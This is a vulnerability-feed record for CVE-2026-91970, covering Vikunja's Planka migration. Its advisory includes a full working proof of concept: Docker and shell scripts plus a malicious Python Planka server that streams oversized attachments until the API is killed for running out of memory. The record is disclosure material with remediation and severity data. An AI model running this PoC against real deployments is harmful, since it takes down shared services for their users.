{"schema":"threatline.record/2","record":{"id":"CVE-2026-91970","aliases":["GHSA-wq92-8x3r-fm38","GO-2026-6757"],"summary":"Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API","details":"# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API\n\n## Summary\n\nThe always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.\n\n## Impact and affected scope\n\n- **Type:** Resource Exhaustion Dos\n- **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator\n- **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit.\n- **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026\n- **Affected release range:** `> 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced\n\nA low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.\n\n## Technical details\n\nPlanka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.\n\nAttack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination\n\nRelevant code:\n\n- `pkg/routes/api/v2/migration_credentials.go:35`\n- `pkg/routes/api/v2/migration_shared.go:73`\n- `pkg/routes/api/v2/migration_shared.go:95`\n- `pkg/modules/migration/planka/client.go:37`\n- `pkg/modules/migration/planka/client.go:356`\n- `pkg/modules/migration/planka/fetch.go:29`\n- `pkg/modules/migration/planka/fetch.go:32`\n- `pkg/modules/migration/planka/convert.go:275`\n- `pkg/modules/migration/planka/convert.go:280`\n- `pkg/modules/migration/planka/convert.go:293`\n- `pkg/modules/migration/planka/planka.go:86`\n- `pkg/modules/migration/planka/planka.go:100`\n\n## Reproduction\n\nRun this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.\n\nCreate `reproduction/Dockerfile`:\n\n```text\nFROM golang:1.27-bookworm AS builder\n\nWORKDIR /src\nCOPY --from=target . .\nRUN mkdir -p frontend/dist \\\n    && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \\\n    && go build -o /out/vikunja .\n\nFROM golang:1.27-bookworm\n\nRUN apt-get update \\\n    && apt-get install -y --no-install-recommends ca-certificates curl python3 \\\n    && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\nCOPY --from=builder /out/vikunja /app/vikunja\nCOPY . /app\nRUN chmod +x /app/verify.sh\n\n\n```\n\nCreate `reproduction/verify.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\ntest -d /target-repo\ntest \"$(git -C /target-repo rev-parse HEAD)\" = \"d66ef3d1a39c6f7289593059a1a34afd1d059260\"\ntest -z \"${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}\"\n\nmkdir -p /work/files /work/logs\nexport VIKUNJA_DATABASE_TYPE=sqlite\nexport VIKUNJA_DATABASE_PATH=/work/vikunja.db\nexport VIKUNJA_FILES_BASEPATH=/work/files\nexport VIKUNJA_LOG_PATH=/work/logs\nexport VIKUNJA_SERVICE_ROOTPATH=/work\nexport VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456\nexport VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/\nexport VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/\n\npython3 /app/malicious_planka.py > /work/planka.log 2>&1 &\nPLANKA_PID=$!\n/app/vikunja > /work/vikunja.log 2>&1 &\nVIKUNJA_PID=$!\ncleanup() {\n  if kill -0 \"${VIKUNJA_PID}\" 2>/dev/null; then\n    kill \"${VIKUNJA_PID}\" 2>/dev/null || true\n    wait \"${VIKUNJA_PID}\" 2>/dev/null || true\n  fi\n  if kill -0 \"${PLANKA_PID}\" 2>/dev/null; then\n    kill \"${PLANKA_PID}\" 2>/dev/null || true\n    wait \"${PLANKA_PID}\" 2>/dev/null || true\n  fi\n}\ntrap cleanup EXIT\n\nfor _ in $(seq 1 90); do\n  if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \\\n    && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then\n    break\n  fi\n  sleep 1\ndone\ncurl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null\ncurl -fsS http://93.184.216.34:18080/api/users/me > /dev/null\n\nREGISTER_CODE=\"$(curl -sS -o /work/register.json -w '%{http_code}' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"PoC\",\"email\":\"PoC@example.invalid\",\"password\":\"PoC-Test-Password-123!\"}' \\\n  http://127.0.0.1:3456/api/v2/register)\"\ntest \"${REGISTER_CODE}\" = \"201\"\ncurl -fsS \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"PoC\",\"password\":\"PoC-Test-Password-123!\",\"long_token\":false}' \\\n  http://127.0.0.1:3456/api/v2/login > /work/login.json\nTOKEN=\"$(python3 -c 'import json; print(json.load(open(\"/work/login.json\"))[\"token\"])')\"\ntest -n \"${TOKEN}\"\n\nBASELINE_RSS_KIB=\"$(awk '/VmRSS/{print $2}' \"/proc/${VIKUNJA_PID}/status\")\"\nOOM_BEFORE=\"$(awk '$1 == \"oom_kill\" {print $2}' /sys/fs/cgroup/memory.events)\"\nMIGRATE_CODE=\"$(curl -sS -o /work/migrate.json -w '%{http_code}' \\\n  -H \"Authorization: Bearer ${TOKEN}\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"url\":\"http://93.184.216.34:18080\",\"token\":\"attacker-key\"}' \\\n  http://127.0.0.1:3456/api/v2/migration/planka/migrate)\"\ntest \"${MIGRATE_CODE}\" = \"200\"\n\nfor _ in $(seq 1 90); do\n  if ! kill -0 \"${VIKUNJA_PID}\" 2>/dev/null; then\n    break\n  fi\n  sleep 1\ndone\nif kill -0 \"${VIKUNJA_PID}\" 2>/dev/null; then\n  echo \"[PoC] target survived unexpectedly\" >&2\n  tail -n 80 /work/vikunja.log >&2\n  tail -n 80 /work/planka.log >&2\n  exit 1\nfi\n\nset +e\nwait \"${VIKUNJA_PID}\"\nTARGET_EXIT=$?\nset -e\nOOM_AFTER=\"$(awk '$1 == \"oom_kill\" {print $2}' /sys/fs/cgroup/memory.events)\"\nATTACHMENTS_SERVED=\"$(cat /work/attachment-count 2>/dev/null || echo 0)\"\n\ntest \"${OOM_AFTER}\" -gt \"${OOM_BEFORE}\"\ntest \"${TARGET_EXIT}\" -eq 137\ntest \"${ATTACHMENTS_SERVED}\" -ge 4\nkill -0 \"${PLANKA_PID}\"\nif curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then\n  echo \"[PoC] health endpoint remained available after target exit\" >&2\n  exit 1\nfi\n\nkill \"${PLANKA_PID}\" 2>/dev/null || true\nwait \"${PLANKA_PID}\" 2>/dev/null || true\ntrap - EXIT\necho \"[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))\"\necho \"[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy\"\n\n```\n\nCreate `reproduction/run.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nFINDING_DIR=\"$(cd \"${SCRIPT_DIR}/..\" && pwd)\"\nSESSION_DIR=\"$(cd \"${FINDING_DIR}/..\" && pwd)\"\nif [[ \"$(basename \"${SESSION_DIR}\")\" == \"artifacts\" ]]; then\n  SESSION_DIR=\"$(cd \"${SESSION_DIR}/..\" && pwd)\"\nfi\nCASE_ID=\"$(basename \"${SESSION_DIR}\")\"\nFINDING_NAME=\"$(basename \"${FINDING_DIR}\")\"\nIMAGE_TAG=\"PoC-${CASE_ID}-${FINDING_NAME}\"\nNETWORK_NAME=\"${IMAGE_TAG}-net-$$\"\nTARGET_REPO_URL=\"https://github.com/go-vikunja/vikunja.git\"\nTARGET_REF=\"d66ef3d1a39c6f7289593059a1a34afd1d059260\"\nWORKDIR=\"$(mktemp -d \"${SESSION_DIR}/.PoC-repro.XXXXXX\")\"\nNETWORK_CREATED=false\ncleanup() {\n  if [[ \"${NETWORK_CREATED}\" == \"true\" ]]; then\n    docker network rm \"${NETWORK_NAME}\" > /dev/null 2>&1 || true\n  fi\n  rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\n\necho \"[PoC] cloning target repository\"\ngit clone --filter=blob:none --no-checkout \"${TARGET_REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --detach \"${TARGET_REF}\"\nprintf '\\n.git\\n' >> \"${TARGET_REPO_DIR}/.dockerignore\"\n\necho \"[PoC] building reproduction image: ${IMAGE_TAG}\"\ndocker build \\\n  --build-context \"target=${TARGET_REPO_DIR}\" \\\n  -t \"${IMAGE_TAG}\" \\\n  \"${SCRIPT_DIR}\"\n\necho \"[PoC] creating isolated public-address test network\"\ndocker network create --subnet 93.184.216.0/24 \"${NETWORK_NAME}\" > /dev/null\nNETWORK_CREATED=true\n\necho \"[PoC] running exploit trigger and verification\"\ndocker run --rm \\\n  --network \"${NETWORK_NAME}\" \\\n  --ip 93.184.216.34 \\\n  --memory=256m \\\n  --memory-swap=256m \\\n  -v \"${TARGET_REPO_DIR}:/target-repo:ro\" \\\n  \"${IMAGE_TAG}\" \\\n  /app/verify.sh\n\necho \"[PoC] SUCCESS: reproduction completed and verified\"\n\n```\n\nCreate `reproduction/malicious_planka.py`:\n\n```python\n#!/usr/bin/env python3\nimport json\nimport os\nimport threading\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\n\nATTACHMENT_COUNT = 24\nATTACHMENT_BYTES = 20 * 1024 * 1024\ncounter = 0\ncounter_lock = threading.Lock()\n\n\nclass Handler(BaseHTTPRequestHandler):\n    protocol_version = \"HTTP/1.1\"\n\n    def log_message(self, fmt, *args):\n        print(fmt % args, flush=True)\n\n    def send_json(self, payload):\n        body = json.dumps(payload, separators=(\",\", \":\")).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def do_DELETE(self):\n        self.send_response(204)\n        self.send_header(\"Content-Length\", \"0\")\n        self.end_headers()\n\n    def do_GET(self):\n        global counter\n        if self.path == \"/api/users/me\":\n            self.send_json({\"item\": {\"id\": \"attacker\"}})\n            return\n        if self.path == \"/api/projects\":\n            self.send_json(\n                {\n                    \"items\": [{\"id\": \"p1\", \"name\": \"attacker project\"}],\n                    \"included\": {\n                        \"boards\": [\n                            {\"id\": \"b1\", \"name\": \"board\", \"projectId\": \"p1\", \"position\": 1}\n                        ],\n                        \"baseCustomFieldGroups\": [],\n                        \"customFields\": [],\n                    },\n                }\n            )\n            return\n        if self.path == \"/api/boards/b1\":\n            attachments = [\n                {\n                    \"id\": f\"a{i}\",\n                    \"type\": \"file\",\n                    \"name\": f\"aggregate-{i}.bin\",\n                    \"cardId\": \"c1\",\n                    \"data\": {\"mimeType\": \"application/octet-stream\"},\n                }\n                for i in range(ATTACHMENT_COUNT)\n            ]\n            self.send_json(\n                {\n                    \"item\": {\"id\": \"b1\", \"name\": \"board\", \"projectId\": \"p1\", \"position\": 1},\n                    \"included\": {\n                        \"users\": [],\n                        \"labels\": [],\n                        \"lists\": [\n                            {\"id\": \"l1\", \"name\": \"active\", \"type\": \"active\", \"position\": 1}\n                        ],\n                        \"cards\": [\n                            {\"id\": \"c1\", \"name\": \"memory bomb\", \"listId\": \"l1\", \"commentsTotal\": 0}\n                        ],\n                        \"cardLabels\": [],\n                        \"taskLists\": [],\n                        \"tasks\": [],\n                        \"attachments\": attachments,\n                        \"customFieldGroups\": [],\n                        \"customFields\": [],\n                        \"customFieldValues\": [],\n                    },\n                }\n            )\n            return\n        if self.path.startswith(\"/attachments/\"):\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/octet-stream\")\n            self.send_header(\"Content-Length\", str(ATTACHMENT_BYTES))\n            self.end_headers()\n            chunk = b\"A\" * 65536\n            try:\n                for _ in range(ATTACHMENT_BYTES // len(chunk)):\n                    self.wfile.write(chunk)\n            except (BrokenPipeError, ConnectionResetError):\n                return\n            with counter_lock:\n                counter += 1\n                with open(\"/work/attachment-count\", \"w\", encoding=\"ascii\") as count_file:\n                    count_file.write(str(counter))\n                    count_file.flush()\n                    os.fsync(count_file.fileno())\n            return\n        self.send_response(404)\n        self.send_header(\"Content-Length\", \"0\")\n        self.end_headers()\n\n\nThreadingHTTPServer((\"0.0.0.0\", 18080), Handler).serve_forever()\n\n\n```\n\nFrom the directory containing these files, run:\n\n```sh\nchmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true\n./reproduction/run.sh\n```\n\n**Expected:** The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.\n\n**Observed:** The final run returned migrate_status=200 using public_attacker_ip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oom_kill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.\n\n**Verification and controls:** The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oom_kill increment, surviving attacker server, and failed health.\n\nObserved evidence:\n\n- migrate_status=200\n- public_attacker_ip=93.184.216.34\n- attachments_served=5\n- baseline_rss_kib=68064\n- target_exit=137\n- oom_kill_delta=1\n- [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy\n\n## Suggested remediation\n\nEnforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.\n\n## Severity\n\n**CVSS v4.0: 7.1 (High)** — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\nThis assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.\n\n## Disclosure context and attribution\n\nAI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.\n\nReported by the University of Sydney security research team:\n\n- [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530)\n- [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110)\n- [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd)\n- [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98)\n- [Chenchen Yu (@7thParkk)](https://github.com/7thParkk)\n\nWe are happy to answer questions, provide additional verification details, or validate a candidate patch.","categories":["Libraries & packages"],"product":"code.vikunja.io/api","vendor":"go-vikunja","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-wq92-8x3r-fm38","source_modified_at":"2026-10-09T20:53:26Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"code.vikunja.io/api"},"range":">= 2.5.0, < 2.6.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-91970","source_modified_at":"2026-09-15T16:02:52.721Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"vikunja","vendor":"go-vikunja","versions":[{"version":"0","status":"affected","versionType":"semver","lessThan":"2.6.0"},{"version":"2.6.0","status":"unaffected","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-wq92-8x3r-fm38","source_modified_at":"2026-10-19T21:41:00.503878989Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Go","name":"code.vikunja.io/api","purl":"pkg:golang/code.vikunja.io/api"},"ranges":[{"events":[{"introduced":"2.5.0"},{"fixed":"2.6.0"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-wq92-8x3r-fm38","source_modified_at":"2026-10-09T20:53:26Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"code.vikunja.io/api"},"version":"2.6.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-91970","source_modified_at":"2026-09-15T16:02:52.721Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vikunja","ecosystem":null},"version":"2.6.0","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-wq92-8x3r-fm38","source_modified_at":"2026-10-19T21:41:00.503878989Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Go","name":"code.vikunja.io/api","purl":"pkg:golang/code.vikunja.io/api"},"version":"2.6.0"}],"cvss":7.1,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00378,"percentile":0.30621,"score_date":"2026-10-23"},"published_at":"2026-09-15T15:18:21.449Z","modified_at":"2026-10-19T21:41:00.503878989Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-wq92-8x3r-fm38","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-09T20:53:26Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-91970","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-15T16:02:52.721Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-wq92-8x3r-fm38","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-19T21:41:00.503878989Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91970","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wq92-8x3r-fm38","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91970","source":"GitHub Advisory Database"},{"url":"https://github.com/go-vikunja/vikunja/pull/3688","source":"GitHub Advisory Database"},{"url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-planka-migration","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-wq92-8x3r-fm38","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-09-15T16:02:37.599981Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-19T21:41:00.503878989Z","content_hash":"006e934f8f6c45805d742fe85109a013f70c322396e86ec270195b869fdd9caf"}}
